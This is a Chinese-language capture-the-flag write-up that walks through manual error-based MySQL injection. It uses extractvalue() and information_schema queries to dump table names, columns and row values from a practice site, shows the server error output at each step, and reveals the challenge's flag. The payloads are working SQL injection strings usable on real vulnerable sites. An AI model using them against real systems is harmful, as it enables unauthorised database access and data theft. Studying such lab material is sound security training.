题目：

本题目为手工注入学习题目，主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来，所以不必测试了。flag中不带key和#

writeup：

题目上都说了是基于mysql报错的手工注入。

1. 进入题目后返回如下界面;

   username:admin
   status:ok 

   
   直接加单引号返回：

   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 20
   
   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 24
   You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' limit 1' at line 1
   username:admin'
   status:ok
   

2. 
   可以直接看到这一句

    ''admin'' limit 1'

   
   可以推出后台的大概sql语句为（table是代指）：

   "select * from table where username=\'$_GET['username']\' limit 1"

3. 基于报错的注入有很多方式（可以看看这个博客整理的http://www.2cto.com/database/201410/344310.html），这里写一种利用extractvalue函数进行的注入：

   ?username=admin' and extractvalue(rand(),concat(0x3a,(SQL注入语句)))%23

4. 爆出表名：

   ?username=admin' and extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

   
   

   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 20
   
   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 24
   XPATH syntax error: ':log,motto,user'
   username:admin' and extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
   status:ok
   

   
   发现有log，user，motto三个表。
5. 爆出列名（以motto为例）

   ?username=admin' and extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='motto')))%23

   
   

   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 20
   
   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 24
   XPATH syntax error: ':id,username,motto'
   username:admin' and extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='motto')))#
   status:ok
   

   
   发现列名id，username，motto。
6. 查询各列值
    

   ?username=admin' and extractvalue(rand(),concat(0x3a,(select group_concat(motto) from motto)))%23

   
   

   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 20
   
   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 24
   XPATH syntax error: ':mymotto,happy everyday,nothing '
   username:admin' and extractvalue(rand(),concat(0x3a,(select group_concat(motto) from motto)))#
   status:ok
   

   
   

   ?username=admin' and extractvalue(rand(),concat(0x3a,(select group_concat(username) from motto)))%23

   
   

   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 20
   
   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 24
   XPATH syntax error: ':admin,guest,test,#adf#ad@@#'
   username:admin' and extractvalue(rand(),concat(0x3a,(select group_concat(username) from motto)))#
   status:ok
   

   
   可以发现两次注入返回的结果username字段比motto字段多一个结果，这说明flag可能就在被隐藏的结果中（这点应该有办法事先知道，我是对比出来的，初学注入技术还不到位）。
7. 再次构造如下语句，利用limit查询：

   ?username=admin' and extractvalue(rand(),concat(0x3a,(select concat(motto,0x3a) from motto limit 3,1)))%23

   
   

   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 20
   
   Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php on line 24
   XPATH syntax error: ':key#notfound!#:'
   username:admin' and extractvalue(rand(),concat(0x3a,(select concat(motto,0x3a) from motto limit 3,1)))#
   status:ok
   

   
   再根据题目提示，去掉key和号得到flag！！